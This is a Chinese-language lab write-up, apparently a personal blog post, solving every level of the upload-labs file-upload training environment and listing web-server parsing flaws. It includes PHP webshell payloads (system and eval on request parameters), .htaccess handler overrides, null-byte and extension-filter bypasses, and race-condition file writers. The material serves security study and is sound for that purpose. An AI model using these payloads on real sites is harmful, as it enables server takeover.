upload-labs记录

闲来无聊,把upload-labs所有的关卡都刷一遍,就当复习一下文件上传漏洞的各种绕过技巧吧,做完一关再看看源代码提高一下审计能力挺好的

Pass-01

一个前端检测,可以禁用js,也可以直接抓包就可以绕过上传

kJ9HYQ.png

访问成功

kJ9zwT.png

Pass-02

Content-Type绕过,直接把Content-Type改为图片类型即可

kJCA61.png

上传成功

kJCmTO.png

Pass-03

这一关是另类的文件名的绕过,可以尝试phtml,php3,php4, php5, pht后缀名都可以绕过,但是前提是要在配置文件里面有这样的一句话

1
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

kJCIj1.png

成功回显

kJC7B6.png

源码里面直接用的黑名单。。

1
$deny_ext = array('.asp','.aspx','.php','.jsp');

当然还有第二种方法

就是上传.htaccess,实现重写文件解析,同样这样的前提也是得在配置文件里面有这样的一句话

1
2
AllowOverride All
LoadModule rewrite_module modules/mod_rewrite.so

Pass-04

上面的方法已经不行了,可以看一下他过滤的名单

1
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

比刚才的黑名单多了不少,但是.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个.htaccess,文件内容如下,就是在upload目录下匹配gg.jpg的文件并以php文件执行

1
2
3
<FilesMatch "gg.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

kJPput.png

然后再上传一个名字为gg.jpg的脚本

kJVbM4.png

然后访问成功执行

kJZgfK.png

Pass-05

这一题里面多过滤了.htaccess,如何绕过呢?

kJmaqJ.png

对比一下代码可以知道,可以使用大小写绕过,因为这里把原来转换成小写的那一部分给删掉了

kJmBI1.png

Pass-06

这一关比第五关少了这样的一句代码

1
$file_ext = trim($file_ext); //首尾去空

所以可以后缀名+空格的形式去绕过

kJnO1K.png

Pass-07

对比第6题的代码可以发现少了下面一句代码

1
$file_name = deldot($file_name);//删除文件名末尾的点

既然没有对文件最后的点做过滤,可以尝试以后缀名加上点的形式去绕过

kJKZ26.png

Pass-08

这一题的代码比上一次少了下面这一段代码

1
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

这个是关于windows下文件的流特性,可以参考一下这篇文章

1
https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream

这样一来就是说这东西应该只能在Windows下运行了

kJ1FOK.png

Pass-09

这一关像是前几关的组合拳,虽然把最后的点给删掉,但是仍然可以绕过,因为这里的过滤并没有递归下去,只是一步,这样就相当于SQL注入里面用str_replace只过滤一次关键字一样

1
2
3
4
5
6
7
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

可以遵循着他的步骤去实现自己的payload,可以这样设置

1
4.php. .

这样一来检测到最后的文件名是4.php.这样就相当于第七关了

kJ1zB8.png

Pass-10

关键过滤的代码就这两句

1
2
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);

跟我上一关讲的SQL注入的类型差不多,就是双写绕过

1
4.pphphp

kJ3yKP.png

Pass-11

关键的代码在于这里的’save_path’是一个可控的变量,但是后面还拼接上一个后缀名,也需要绕过

1
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

这个时候可以使用%00截断,但这东西有点过气了,因为需要两个条件

  1. php版本小于5.3.4
  2. php的magic_quotes_gpc为OFF状态

如果要完成这一个题目就必须要实现上面的两个条件,但是现在都PHP7了,这东西也就很少见了,满足上面的条件的时候php就是把它当成结束符,后面的数据直接忽略,这也导致了很多的问题,文件包含也可以利用这一点

所以如果要绕过,我们可以这样去实现,另save_path等于下面的值

1
../upload/4.php%00

kJcCUH.png

Pass-12

这里的源代码就改了一点点,就是把get改为post类型,一样的方式绕过,只不过这里需要在二进制里面修改%00,因为post不会像get对%00进行自动解码。

1
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

kJcP5d.png

Pass-13

从这一关开始要求上传图片马,但是没有办法直接执行图片马,需要另外的方法去实现一般是加上php伪协议去getshell,常见的有phar,zip等等
如果想要看到详细的效果可以写一下简单的脚本放在upload目录下即可,

1
2
3
<?php
@include $_GET[file];
?>

最最最简单的图片马直接一条命令即可生成

1
copy normal.jpg /b + shell.php /a webshell.jpg

上传一个图片马,内容如下,可以看到里面有脚本语言

kJcYrT.png

把该图片上传上去,尝试文件包含,成功回显

kJcaa4.png

这里可以发现源代码只是用了unpack这一个函数去实现对于php前两个字节的检测,也就是只是对文件头做检测。。。

1
2
3
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);

Pass-14

类似上一个题目,获取了图片的相关的大小及类型,并验证是否时刻上传的图片,同样可以使用文件头的方式绕过

1
2
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);

kJchid.png

说明info[2]是一个文件的类型,同样的方法也是可以绕过的

kJcrxx.png

Pass-15

换了一个获取图片信息的函数

1
2
//需要开启php_exif模块
$image_type = exif_imagetype($filename);

kJcLdg.png

跟pass-13一样的绕过方法

Pass-16

这一关对后缀名和文件类型啥的都进行了很严格的控制,而且在后面还对图片进行了二次编译

1
2
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

这一个题目跟上次校赛的题目思路一致,寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传,下载下来后发现这一部分插入代码的没变但是其他部分都变了

kJgrkQ.png

尝试文件包含,后面怎么利用就不多说了

kJgq6x.png

Less-17

这一关是条件竞争的问题,查看源代码就会发现你需要在缓存文件转移到别的目录的时候,赶紧访问它,这里可以使用burp去发包,可以把文件内容改成下面这样

1
<?php $c=fopen('./cmd.php','w');fwrite($c,'<?php system($_GET["f"]);?>');?>

或者这样,反正就是为了写文件进去就对了

1
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>

kJ2d3R.png

两个burp跑一跑,就会在该文件夹下面产生新的文件了

kJ2Du6.png

访问成功

kJ2W8A.png

Less-18

同样的也是一个条件竞争的问题,看一下源代码可以发现这里使用类去实现相关方法,包括查看文件后缀名,大小等等

这里面的问题存在于代码将上传文件更改名字的时候给了个时间差,让我们可以去实现这个竞争效果,同样的方法,不都说

Less-19

这一关正常做法应该是CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称

上传的文件名用0x00绕过。改成xx.php【二进制00】.x.jpg

但是发现了一种更有意思的解法

1
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

简单来说就是move_uploaded_file底层会调用tsrm_realpath函数导致,递归删除文件名最后的/.导致绕过了后缀名检测,同样类似的函数还有file_put_content(),反正打开文件流都会有类似的操作

所以可以这样子去绕过6.php/.

kJTg56.png

Pass-20

这个题目用了数组+/.的方式去绕过,因为源代码里面含有这样的两句代码,成了关键得绕过的地方

1
2
3
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
1
$file_name = reset($file) . '.' . $file[count($file) - 1];

这同样我们就需要满足两个条件,第一个是先得保证另外修改的名字需要满足是数组的条件,所以我们可以抓包构造数组,第二点由于后面filename构成的过程中由于$file[count($file) - 1]的作用,导致$file[1] = NULL,所以构造文件名后相当于直接就是xx.php/.,根据上面一题的知识,可以直接在move_uploaded_file函数的作用下可以将/.忽略,因此还是可以上传成功的。

因此save_name变量的两个值分别是xx.php/,另外一个值是jpg,其实从代码审计的角度上看,还是可控变量导致这样的后果

k0OSM9.png

k0O9q1.png

小结一下

upload-labs里面的关卡个人感觉只是针对文件上传这个漏洞去弄的,可以梳理一下,可以根据上面的绕过写一个fuzz字典XD

  1. 前端的绕过
  2. 后缀名,文件类型,文件头的绕过
  3. Windows下::$DATA的问题
  4. 图片经过二次渲染的绕过
  5. 根据代码跳进进行的绕过
  6. 条件竞争

还有其他的中间件问题导致的解析漏洞没有展现出来,可能环境配置比较麻烦,想了很久,我怕自己忘了,还是自己总结一下,以后可以拿出来看一下

IIS 6.0

IIS 6.0解析利用方法有三种:
1.目录解析
建立xx.asp为名称的文件夹,将asp文件放入,访问/xx.asp/xx.jpg,其中xx.jpg可以为任意文件后缀,即可解析
2.文件解析
后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
3.默认解析
IIS6.0 默认的可执行文件除了asp还包含这三种

1
2
3
4
/xxx.asa
/xxx.cer
/xxx.cdx
/xxx.apsx

IIS 7.0/7.5

在正常图片URL后添加 /.php,可以解析为php

Apache

一般都在2.3.x以下版本,但是有时候配置文件的不同也会导致不安全

后缀解析:test.php.x1.x2.x3
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析
test.php.x1.x2.x3则会被解析为php

最近在出题的时候在apache 2.1.x的版本就可以用test.php.jpg直接就可以getshell了,真尴尬。

Nginx

Nginx <8.03畸形解析漏洞
直接在正常图片URL后添加/.php
Nginx <=0.8.37
在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞

在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. Pass-01
  2. 2. Pass-02
  3. 3. Pass-03
  4. 4. Pass-04
  5. 5. Pass-05
  6. 6. Pass-06
  7. 7. Pass-07
  8. 8. Pass-08
  9. 9. Pass-09
  10. 10. Pass-10
  11. 11. Pass-11
  12. 12. Pass-12
  13. 13. Pass-13
  14. 14. Pass-14
  15. 15. Pass-15
  16. 16. Pass-16
  17. 17. Less-17
  18. 18. Less-18
  19. 19. Less-19
  20. 20. Pass-20
  21. 21. 小结一下
    1. 21.1. IIS 6.0
    2. 21.2. IIS 7.0/7.5
    3. 21.3. Apache
    4. 21.4. Nginx